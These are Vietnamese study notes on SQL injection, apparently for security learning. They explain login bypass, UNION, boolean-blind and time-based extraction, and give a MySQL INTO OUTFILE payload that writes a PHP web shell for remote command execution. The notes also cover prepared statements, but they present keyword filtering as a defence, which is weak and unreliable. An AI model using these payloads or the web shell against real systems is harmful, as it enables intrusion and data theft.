Phần 1: Kiến thức cơ bản

1. Giới thiệu về SQLi:

* SQL injection là một trong các lỗ hổng website giúp cho kẻ tấn công can thiệp được vào câu truy vấn với cơ sở dữ liệu
* SQLi giúp kẻ tấn công có thể nhìn được những dữ liệu mà bình thường không thể quan sát được, dữ liệu này có thể thuộc vào người dùng khác, hay dữ liệu mà ứng dụng có thể truy cập được
* Trong một số trường hợp, kẻ tấn công có thể làm thêm sửa xóa dữ liệu, khiến thay đổi giao diện hoặc luồng thực thi của chương trình
* Hơn thế nữa, kẻ tấn công có thể thực hiện một cuộc tấn công leo thang gây ra cuộc tấn công vào cơ sở hạ tầng máy chủ dưới, tạo nên một cuộc tấn công từ chối dịch vụ

1. Các loại SQLi và cách khai thác, nhận biết lỗi từng loại:
   1. Dạng tấn công vượt qua đăng nhập
      1. Cách khai thác: Sử dụng chuỗi bất kỳ như abc’ or 1=1 limit 1 –‘ với username và password thì để chuỗi bất kỳ như abc. Từ đó có thể tạo được câu truy vấn:

SELECT \* FROM users WHERE username = abc or 1=1 limit 1 – password = abc

* + 1. Cách nhận biết:
       1. Ở trang đăng nhập thử đơn giản với dấu ‘. Nếu web trả về 500 hoặc lỗi xử lý thì có thể tồn tại lỗi sqli vì câu lệnh php không đúng.
  1. Dạng tấn công đánh cắp dữ liệu bị ẩn
     1. Cách khai thác: Sử dụng order by để xác định số cột có trong câu truy vấn gốc. Sau đó sử dụng union select null, null hoặc 1, 2, 3, .... để xác định vị trí các thông tin. Sau đó truy vấn vào các bảng như information\_schema.COLUMNS, TALBES, SCHEMATA để xác định cấu trúc bảng. Sau đó truy vấn để lấy thông tin cần.
     2. Cách nhận biết:
        1. Trên url thường xuất hiện các từ tìm kiếm, các mục trong trang theo thứ tự, tuần tự có cấu trúc.
        2. Thử các chuỗi như ‘, xem có báo lỗi không, ...
  2. Dạng tấn công với logic phần mềm
     1. Cách khai thác: Sử dụng logic phần mềm, nếu điều kiện đúng thì sẽ thực hiện thành công, nếu không thì sẽ bị trả về kết quả sai. Thực hiện tấn công đăng nhập để lấy thông tin. Sử dụng username = abcd’ and SUBSTRING(Password, 1, 1) = 'a' -- ', nếu đúng thì sẽ lấy chữ cái đầu password là ‘a’. Từ đó truy vấn để lấy thông tin khác
     2. Cách nhận biết:
        1. Thử các truy vấn đặc biệt. Để ý responce trả về.
        2. Thử sử dụng thông tin đã biết để truy vấn thêm các điều kiện khác
  3. Dạng tấn công Time delay:
     1. Cách khai thác: Sử dụng delay truy vấn để làm chậm kết quả trả về. Kết hợp với điều kiện truy vấn để tìm được thông tin. Sử dụng các hàm sleep trong CSDL để làm chậm truy vấn như sleep(10), WAITFOR DELAY '0:0:10'
     2. Cách nhận biết:
        1. Thực hiện các truy vấn thêm – sleep(1), kết quả trả lại chậm hơn so với thực tế
  4. Dạng tấn công thực thi lệnh, đọc file trên máy chủ.
     1. Cách khai thác: Sử dụng các hàm đọc file của CSDL. Ví dụ LOAD\_FILE(‘’) của mysql. Hay sử dụng các hàm để thực thi req
     2. Cách nhận biết:
        1. Truy vấn có lỗi, có thể chèn thêm tham số.
        2. Truy vấn người dùng CSDL, người dùng có quyền để thực thi các hàm đó.

1. Lập trình an toàn để không bị SQLi:

* Sử dụng các bộ lọc ký tự đặc biệt như SELECT, INSERT, UPDATE trong thông tin người dùng truyền vào.
* Sử dụng các thư viện lập trình an toàn như mysqli, PDO. Sử dụng prepare truy vấn thay vì truyền thông tin trực tiếp vào hàm. Khi đó msysqli sẽ gửi câu lệnh prepare xuống DB trước sau đó mới truyền dữ liệu xuống hoặc PDO thì truyền xuống nhưng dữ liệu truyền vào bị comment. Sau đó mới thực thi.
* Sử dụng các thủ tục procedure thay vì truy vấn trực tiếp.

Phần 2: Kiến thức nâng cao

1. Bypass filter trong trường hợp bị bỏ dấu cách
   1. Trong trường hợp tấn công bị lọc dấu cách có thể thay bằng các comment khi qua lọc sẽ không bị loại bỏ mà vẫn thực thi được sqli như mong muốn.
2. Tối ưu hóa tấn công boolean based
   1. Thực hiện tấn công trên từng bit một với hàm ASCII để chuyển ký tự ra dạng số. Sau đó xử dụng phép AND với 128, 64, 32 so sánh với 128, 64, 32 để xác định vị trí bit đó là 1 hay là 0. Từ đó xác định ký tự tại vị trí đó.
3. Cách tấn công để đọc file, thực thi trên server
   1. MYSQL:
      1. Tài khoản cần có quyền FILE.
      2. Chế độ secure\_file\_priv cần phải tắt, nếu không thì chỉ đọc ghi file trong thư mục chỉ định.
      3. Để đọc File: Sử dụng hàm LOAD\_FILE(‘địa chỉ của file’)
      4. Để ghi ra File: Sử dụng SELECT \* FROM users INTO OUTFILE ‘địa chỉ file’
      5. Thực thì RCE:
         1. Bước 1: Ghi ra file đoạn code lấy thực thi cmd từ php. Truy vấn SQLi:  
            1’ SELECT “<?php if($\_GET['cmd']){ $result = shell\_exec($\_GET['cmd']); echo "<pre>$result</pre>"; } ?>” INTO OUTFILE(‘vị trí file’)
         2. Bước 2: Vào trang file đã ghi ra đó. Và thực thi cmd
         3. Thực thi RCE thành công.
   2. Orcale
   3. MS SQL